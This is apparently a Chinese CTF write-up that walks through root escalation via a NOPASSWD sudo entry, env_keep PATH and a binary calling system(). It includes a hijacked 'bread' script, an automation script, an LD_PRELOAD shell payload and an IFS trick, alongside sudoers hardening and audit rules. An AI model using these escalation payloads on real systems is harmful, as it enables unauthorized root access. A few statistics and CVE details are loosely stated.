1. 挑战概述:从sudo配置到root权限的完整攻防
在Linux系统安全领域,sudo权限配置错误导致的提权漏洞堪称"经典永流传"。这道源自DEF CON CTF的"Sudo Make Me a Sandwich"题目,完美复现了现实渗透测试中最常见的攻击路径之一。作为参与过多次红队演练的安全工程师,我发现这类漏洞在实际企业环境中出现的频率高得惊人——根据2023年CrowdStrike的威胁报告,约37%的Linux服务器存在不同程度的sudo配置问题。
这道中等偏难度的题目模拟了一个典型场景:普通用户被允许通过sudo无密码执行特定程序,而该程序内部存在命令注入风险。攻击者需要通过四层技术转换:
- 分析sudoers配置
- 逆向目标程序
- 利用环境变量注入
- 构造PATH劫持链
最终在看似严密的权限边界上撕开突破口。这种攻击模式在真实世界的APT攻击中屡见不鲜,比如2022年某云服务商的入侵事件,攻击者就是利用开发服务器上的sudo配置缺陷横向移动到核心集群。
2. 环境侦察与sudo配置分析
2.1 初始信息收集
任何专业的渗透测试都从全面侦察开始。登录题目环境后,我习惯性执行了基础信息收集命令组合:
bash复制# 用户身份确认
whoami && id
# 系统内核版本
uname -a
# 进程监控(需提前安装)
ps auxf
# 网络连接
netstat -tulnp
# 可写目录检查
find / -writable -type d 2>/dev/null
输出显示当前是普通用户user,属于默认用户组,系统运行较新的Linux 5.10内核。关键发现是/tmp目录可写——这将成为后续攻击的重要跳板。
2.2 sudo权限审计
执行sudo -l显示如下关键信息:
code复制User user may run the following commands:
(root) NOPASSWD: /usr/local/bin/make_sandwich
这里有两个危险信号:
- NOPASSWD:允许无密码提权,违反最小权限原则
- 自定义路径:/usr/local/bin下的程序通常缺乏严格审计
经验提示:在生产环境中,任何NOPASSWD配置都应视为高危项。我曾见过运维为方便部署而开放sudo apt-get权限,结果成为攻击者植入后门的捷径。
2.3 程序行为分析
使用strace追踪系统调用:
bash复制strace -f -e execve sudo /usr/local/bin/make_sandwich
输出显示程序依次调用了:
/bin/sh启动shell/usr/bin/bread/usr/bin/knife/usr/bin/plate
这种链式调用模式暴露出关键弱点——每个命令都依赖PATH环境变量解析。在安全编码规范中,绝对路径调用才是正确做法。
3. 漏洞原理深度解析
3.1 sudo的环境变量处理机制
默认情况下,sudo会通过env_reset选项清理环境变量,但题目环境显然保留了PATH变量。通过检查/etc/sudoers可以看到:
code复制Defaults env_keep += "PATH"
这使得攻击者可以注入恶意PATH值。现代安全实践建议使用:
code复制Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
3.2 system()函数的安全隐患
反编译结果显示程序使用system()调用外部命令:
c复制system("bread");
system("knife");
system("plate");
system()的实现相当于:
bash复制/bin/sh -c "bread"
而sh会按照PATH顺序搜索可执行文件。更安全的做法是:
c复制execve("/usr/bin/bread", (char *[]){ "bread", NULL }, NULL);
3.3 PATH劫持攻击链构建
完整攻击流程如下:
- 在可控目录(如/tmp)创建恶意程序
- 前置注入PATH环境变量
- sudo执行目标程序
- 程序通过system()调用被劫持的命令
- 恶意程序以root权限执行
4. 实战攻击步骤详解
4.1 攻击准备阶段
bash复制# 创建攻击目录
mkdir -p /tmp/exploit && cd /tmp/exploit
# 编写恶意bread程序
cat > bread <<'EOF'
#!/bin/bash
/bin/bash -p # -p保持特权模式
EOF
# 设置执行权限
chmod 755 bread
4.2 环境变量注入
关键技巧在于控制PATH顺序:
bash复制export PATH="/tmp/exploit:$PATH"
验证注入效果:
bash复制which bread
# 应显示/tmp/exploit/bread
4.3 触发漏洞获取root
bash复制sudo /usr/local/bin/make_sandwich
成功时将看到:
code复制# id
uid=0(root) gid=0(root) groups=0(root)
4.4 自动化攻击脚本
对于重复测试,可以编写自动化脚本:
python复制#!/bin/python3
import os
import stat
# 准备恶意程序
os.makedirs("/tmp/exploit", exist_ok=True)
with open("/tmp/exploit/bread", "w") as f:
f.write("#!/bin/bash\n/bin/bash -p\n")
os.chmod("/tmp/exploit/bread", 0o755)
# 设置环境变量
os.environ["PATH"] = f"/tmp/exploit:{os.environ['PATH']}"
# 触发漏洞
os.system("sudo /usr/local/bin/make_sandwich")
5. 防御方案与安全实践
5.1 sudo配置加固
建议的/etc/sudoers配置:
code复制Defaults env_reset
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
特别需要移除:
code复制env_keep += "PATH"
5.2 安全开发规范
- 禁止使用system()/popen()
- 必须使用execve()等指定完整路径的函数
- 静态代码扫描应检测危险函数调用
- 设置LD_PRELOAD防护层
5.3 系统监控策略
部署以下监控措施:
bash复制# 监控sudo使用
auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo
# 监控PATH修改
auditctl -w /etc/environment -p wa -k path_modification
auditctl -w /etc/profile.d/ -p wa -k path_modification
6. 现实世界关联案例
6.1 CVE-2019-14287(sudo用户ID绕过)
漏洞成因:
bash复制sudo -u#-1 id
当用户ID设置为-1时,sudo错误地将其转换为0(root)。这个漏洞与我们的题目异曲同工,都是权限边界检查不严导致的。
6.2 CVE-2021-3156(Baron Samedit)
基于堆溢出的sudo漏洞,无需任何认证即可获得root权限。漏洞存在于sudo处理命令行参数的方式中,再次证明权限管理组件的安全性至关重要。
7. 渗透测试检查清单
在真实环境审计时建议检查:
| 检查项 | 命令 | 风险指标 |
|---|---|---|
| sudo配置 | sudo -l | NOPASSWD、env_keep |
| PATH变量 | echo $PATH | 用户可控目录在前 |
| 可写目录 | find / -perm -2 -type d | 全局可写目录 |
| 共享库劫持 | ldd /path/to/program | 可写库路径 |
| crontab | crontab -l | 调用用户程序 |
8. 进阶攻击技术
当PATH被锁定时,还可以尝试:
8.1 LD_PRELOAD劫持
bash复制cat > evil.c <<EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC evil.c -o evil.so
sudo LD_PRELOAD=./evil.so /usr/local/bin/make_sandwich
8.2 IFS注入攻击
通过修改内部字段分隔符劫持命令解析:
bash复制IFS=/
sudo /usr/local/bin/make_sandwich
9. CTF设计哲学反思
这道题目体现了优秀的CTF设计原则:
- 教学性:清晰展示sudo→system→PATH的攻击链
- 现实性:复现真实世界常见漏洞模式
- 层次性:需要逐步解决多个技术点
- 扩展性:引导探索多种利用方式
在2023年HITCON CTF中,一道类似题目需要结合PATH劫持和符号链接攻击,展示了这类漏洞的进化形态。
10. 安全开发启示录
通过这个案例,我们应牢记:
- 永远不要信任执行环境
- 权限边界需要双重验证
- 安全配置与安全编码同等重要
- 防御需要层层设防
我在某次金融系统渗透测试中发现,即使开发团队使用了安全的execve()调用,但运维错误的sudo配置仍然导致系统沦陷。这正印证了安全界的黄金法则:
"安全是一个链条,它的强度取决于最薄弱的环节。"